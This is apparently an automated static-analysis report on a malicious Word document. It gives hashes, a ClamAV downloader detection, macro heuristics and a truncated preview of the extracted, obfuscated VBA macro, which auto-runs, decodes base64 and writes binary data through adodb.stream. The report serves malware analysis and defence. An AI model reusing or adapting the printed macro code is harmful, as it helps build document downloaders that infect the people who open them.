Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d8e6544f6653c60…

MALICIOUS

Office (OLE)

166.0 KB Created: 2017-05-02 17:48:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: c515bf9b28da4f78caa05d63c76ad6b8 SHA-1: aa5b1541c29904347bf691129fbc6a9d5c2ac51c SHA-256: 7d8e6544f6653c60eb96c0597ba988ec7c115e49724fa59f6ca4ff7f684000ac
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes CreateObject to instantiate 'msxml2.domdocument' and then attempts to create an element, indicating an intent to download and execute a second-stage payload. The presence of a Shell() call and the ClamAV detection further support its malicious nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.WithMacro-6310867-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.WithMacro-6310867-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18374 bytes
SHA-256: 913e606b09a6a4158ae1b30278b88ba0224044e0499aa7a372fa53e3849e1ece
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim HinUQ8IZ As Single
HinUQ8IZ = 23320.741509381
Dim wUZRDM As Long
wUZRDM = -402877414
Dim k8vhLaz As Byte
k8vhLaz = 181
Dim m50zZ As Long
m50zZ = 0
Dim m5CIU
m5CIU = ""
kz3Hl
End Sub

Attribute VB_Name = "Module2"
Public Function rzUfgW4B(ByVal XazMD0VQP)

Dim VFegOij As Boolean
VFegOij = True
Dim ePU1JsqVC As Long
ePU1JsqVC = -484710086
Dim F0FncCye As Long
F0FncCye = Sgn(0)
Dim GoaQYtDl As Long
GoaQYtDl = Sgn(-1319327136)
Dim ucjxtOb6 As Boolean
ucjxtOb6 = False
Dim ltyRf
Dim eipzn

Dim SjR6V0 As Long
SjR6V0 = 0
Dim DizVAcTI As Long
DizVAcTI = Sgn(0)
Dim CAf1SeJxZ As Integer
CAf1SeJxZ = Sgn(-10108)
Dim btjfwpEs
btjfwpEs = Len(Y59ng0)
Dim qyPWugst7 As Single
qyPWugst7 = Round(53490.52574473)
Dim jdxZj1 As Integer
jdxZj1 = Sgn(-25578)
Dim wopBXI As Double
wopBXI = Sgn(30360.228767987)
Set ltyRf = CreateObject("msxml2.domdocument")

Dim q3UHmb As Boolean
q3UHmb = True
Dim ILcOP5y4w As Long
ILcOP5y4w = -866780606
Dim dT7D1BpA As Single
dT7D1BpA = Val(45020.915494031)
Set eipzn = ltyRf.CreateElement(xtm4lUcp)
Dim wdnGbVu As Integer
wdnGbVu = Sgn(26063)
Dim ierFl5 As Long
ierFl5 = Sgn(0)
Dim mEVbQXR1 As Byte
mEVbQXR1 = 184
Dim SuJPCBZNp As Byte
SuJPCBZNp = 64
Dim UaBPHl2S As Double
UaBPHl2S = Sgn(14054.485922294)
With eipzn

Dim XPvKT As Double
XPvKT = 57090.562859273
Dim wlRaJt As Byte
wlRaJt = 228
Dim xuYJpI As Single
xuYJpI = Sgn(21676.557233141)
Dim szhLqZbA As Byte
szhLqZbA = 187
Dim c0463t As Byte
c0463t = 102
eipzn.DataType = "bin." & xtm4lUcp

Dim J3wf8dzkv As Boolean
J3wf8dzkv = True
Dim HigGT As Long
HigGT = Sgn(-1986518818)
Dim r6BdgA As Long
r6BdgA = Sgn(-403236480)
Dim oZIruUx As Double
oZIruUx = 57223.675364206
Dim FkQIzHy3o As Long
FkQIzHy3o = 0
eipzn.Text = XazMD0VQP
End With

Dim uohQ1 As Integer
uohQ1 = 18868
Dim BF7ya3 As Integer
BF7ya3 = -6292
Dim P9FlcTD As Double
P9FlcTD = Sgn(16833.199487474)
Dim hbxP4hQS As Byte
hbxP4hQS = 110
Dim T29UZ1 As Double
T29UZ1 = Sgn(17545.914858368)
rzUfgW4B = JsKhvn(eipzn.nodeTypedValue)
Dim mWzID As String
mWzID = Val(jatPymBXz)
Dim i0yqd As Double
i0yqd = Sgn(1641.7821674153)
Dim fsn8c4 As Byte
fsn8c4 = 115
Set eipzn = Nothing
Set ltyRf = Nothing
End Function
Function JsKhvn(Binary)
Dim RzavG8L As Long
RzavG8L = Sgn(-1277213646)
Dim YxYoUsbB As Single
YxYoUsbB = Int(44125.090210808)
Dim gObj1HI As String
gObj1HI = Val(MDw6Zct)
Const kaQzcweVu = 2
Const B79eJ8Xu = 1
Dim Wny9E5f As Double
Wny9E5f = Round(39946.465076906)
Dim GdOnrpZ As Single
GdOnrpZ = Sgn(24974.257125422)
Dim zHAWkfe As String
zHAWkfe = LTrim(DLe9U6Y)
Dim zLob7

Dim wsjkht7AH As Boolean
wsjkht7AH = True
Dim bnrgOyX As Long
bnrgOyX = Sgn(-1589214440)

Dim Hjivw As Byte
Hjivw = 33
Dim SxCcIvkj As Double
SxCcIvkj = Sgn(63940.196564371)
Dim yP63h1SEo As Long
yP63h1SEo = -1654118544
Dim V5f3Kj01I As Long
V5f3Kj01I = -536643974
Set zLob7 = CreateObject("adodb.stream")

Dim tLDBjxy6 As Byte
tLDBjxy6 = 202
Dim qeHEkR7O As Byte
qeHEkR7O = 78
With zLob7
Dim WCI2PsGv As Double
WCI2PsGv = Sgn(59840.840395182)
Dim qN9EKnV As Integer
qN9EKnV = Sgn(-13052)
.Type = B79eJ8Xu
Dim u9OWHjq As Integer
u9OWHjq = Sgn(-4576)
Dim kQ7yh6 As Long
kQ7yh6 = 0
Dim m4Gb1 As Byte
m4Gb1 = 165
Dim Mmh9in As Double
Mmh9in = 44071.565788043
Dim XXird3Kq5 As Boolean
XXird3Kq5 = True
.Open

Dim y3DEg1n As Long
y3DEg1n = -372590696
Dim hrvy1ROW As Single
hrvy1ROW = Round(54071.013484908)
Dim P08golx As Single
P08golx = Val(48328.23947678)
Dim jD8jE As Boolean
jD8jE = True
Dim zfXtTe4 As Long
zfXtTe4 = Sgn(0)
.Write Binary

Dim zf5tnh8MW As Single
zf5tnh8MW = 55830.101101299
Dim wZCQJsWkg As Byte
wZCQJsWkg = 25
Dim IOJMQoD4 As Single
IOJ
... (truncated)